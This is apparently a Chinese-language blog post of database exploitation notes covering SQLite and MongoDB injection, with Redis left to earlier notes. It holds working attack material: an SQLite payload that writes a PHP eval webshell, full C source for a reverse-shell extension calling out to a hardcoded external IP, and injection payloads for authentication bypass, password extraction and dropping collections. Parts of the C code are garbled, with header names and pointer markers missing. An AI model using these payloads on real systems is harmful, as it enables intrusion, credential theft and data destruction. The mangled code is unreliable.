前言
作为这个系列的收尾,直接将三个数据库(Sqlite / MongoDB / Redis)的利用糅合在了一起
Sqlite
基础
特性
- 没有information_schema表,但是可以通过
sqlite_master
表来获取数据库中的表名以及表结构
getshell
写入webshell
需要满足能够堆叠注入的情况
通过sqlte附加数据库的方法写入shell
ATTACH DATABASE '/var/www/html/shell.php' as shell;create table shell.exp (webshell text);insert into shell.exp (webshell) values ('\r\n<?php @eval($_POST[1]);?>\r\n');
加载恶意动态库
SQLite 从 3.3.6 版本开始提供了支持扩展的能力,通过sqlite_load_extension API(或者 load_extension 函数 ),开发者可以在不改动 SQLite 源码的情况下,通过动态加载的库(so/dll/dylib)来扩展 SQLite 的能力
贴一个反弹shell的 .c程序,制作成so扩展
```
/ Add your header comment here /
include / Do not use ! /
include
include
include
include
include
include
include
include
SQLITE_EXTENSION_INIT1
/ Insert your extension code here /
int tcp_port = 2333;
char *ip = "47.101.57.72";
ifdef _WIN32
__declspec(dllexport)
endif
int sqlite3_extension_init(
sqlite3 db,
char pzErrMsg,
const sqlite3_api_routines pApi
){
int rc = SQLITE_OK;
SQLITE_EXTENSION_INIT2(pApi);
int fd;
if ( fork() <= 0){
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(tcp_port);
addr.sin_addr.s_addr = inet_addr(ip);
fd = socket(AF_INET, SOCK_STREAM, 0);
if ( connect(fd, (struct sockaddr*)&addr, sizeof(addr)) ){
exit(0);
}
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execve("/bin/bash", 0LL, 0LL);
}
return rc;
}
```
gcc编译
gcc -g -fPIC -shared exp.c -o exp.so
之后就可以通过 load_extension()
函数进行加载,这里可以配合文件上传getshell
联合查询
- 前面的方法和Mysql一模一样
- 之后再查询表名和列名的时候通过
sqlite_master
进行查询
?id=-1 union select 1,(select sql%20 from sqlite_master limit 0,1),3,4--+
可以获取到表结构,知道了表名和列名
当存在多个表时,我们可以用 limit 关键字逐行读取,也可以使用 group_concat 关键字进行聚合
3. 再然后就是查询数据了
?id=-1 union select 1,(select group_concat(name,password) from WSTMart_reg),3,4--+
布尔盲注
因为sqlite没有ascii,mid, left之类的函数,但是有着 length() substr()
我们就只能通过字符来判断
?id=1 and substr((select hex(group_concat(sql)) from sqlite_master),1,1)='4'--+
在这里我们采用了将表结构进行hex编码之后方便进行比较判断
时间盲注
虽然没有sleep函数,但是在sqlite中可以通过 randomblob(N)
函数进行延时,
?id=1 and (case when(substr(sqlite_version(),1,1)='3') then randomblob(100000000000) else 0 end)--+
MongoDB
该数据库为非关系型数据库,在查询时是通过键值对的方式进行查询的
基础
语法
$gt : >
$lt : <
$gte: >=
$lte: <=
$ne : !=、<>
$in : in
$nin: not in
$all: all
$or:or
$not: 反匹配(1.3.3及以上版本)
模糊查询用正则式:db.customer.find({'name': {'$regex':'.*s.*'} })
/**
* : 范围查询 { "age" : { "$gte" : 2 , "$lte" : 21}}
* : $ne { "age" : { "$ne" : 23}}
* : $lt { "age" : { "$lt" : 23}}
*/
重言式注入
示例:
<?php
echo "param is id :)";
if(!empty($_GET['id']))
{
$m = new MongoClient();
$id = $_GET['id'];
if ($id=="1")
{
echo "You Can't access Admin's Account";
}else
{
$db = $m->securitytest;
$collection = $db->users;
$qry = array("id"=> $_GET['id']);
$cursor = $collection->find($qry);
foreach($cursor as $document)
{
echo "<br>";
echo "Username:".$document["username"]."<br>";
echo "Password:".$document["password"]."<br>";
echo "<br>";
}
}
}
如果传入的id参数是1就会没有权限访问
```
重言式
?id[$ne]=2
闯入上面所示的payload,就会返回除了id=2的所有结果,同样不止可以使用$ne
username[$ne]=&password[$ne]=
username[$gt]=&password[$gt]=
username[$gte]=&password[$gte]=
```
联合查询注入
这种注入方式主要是因为查询语句拼接了未过滤的传参
string query = "{ username: '" + $username + "', password: '" + $password + "' }"
如果正常登陆admin是
{'username':'admin', 'password':'123456'}
但是这里存在拼接,我们可以构造payload
username=admin', $or: [ {}, {'a': 'a&password=' }], $comment: '123456
sql语句就成了
{ username: 'admin', $or: [ {}, {'a':'a', password: '' }], $comment: '123456'}
这样,只需要用户名正确,就可以登陆账户了
JavaScript注入
- 在 MongoDB 中,
\$where
操作符可以用来执行 JavaScript 代码,将 JavaScript 表达式的字符串或 JavaScript 函数作为查询语句的一部分
如果一段易受攻击的伪代码
$data = $_GET['data'];
db.users.find({ $where: "function(){return(this.username == $data)}" })
我们可以传入 ?data='a'; sleep(5)
,将会执行javaScript代码,进行延迟,判断注入点
2. 同样,如果你存在使用 distinct
方法进行命令执行,就代表着你把MongoDB的shell交给了用户,不安全
$cmd = new MongoDB\Driver\Command( [
'eval' => "db.users.distinct('username',{'username':'$username'})"
] );
可以构造payload
username=1'});db.users.drop();db.user.find({'username':'1
username=1'});db.users.insert({"username":"admin","password":123456"});db.users.find({'username':'1
盲注
- 当页面没有回显的时候我们可以通过
\$regex
正则表达式来构造永真条件进行盲注
## payload
username=admin&password[$regex]=.{4} // 登录成功
username=admin&password[$regex]=.{5} // 登录成功
username=admin&password[$regex]=.{6} // 登录成功
username=admin&password[$regex]=.{7} // 登录失败 长度为7
## 逐位提取数据
username=admin&password[$regex]=1.{5}
username=admin&password[$regex]=12.{4}
username=admin&password[$regex]=^1
username=admin&password[$regex]=^12
2. 又或者是通过\$where操作符在MongoDB 2.4 之前,通过 $where
操作符可以访问到 Mongo Shell 中的全局函数和属性,如db
## payload
username='||db.version()[0]=='2'){return true;}else{return false;}if('&password=123456
当然,还可以通过时间进行盲注
Redis
至于对于Redis一些漏洞利用,参加我之前做的笔记
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论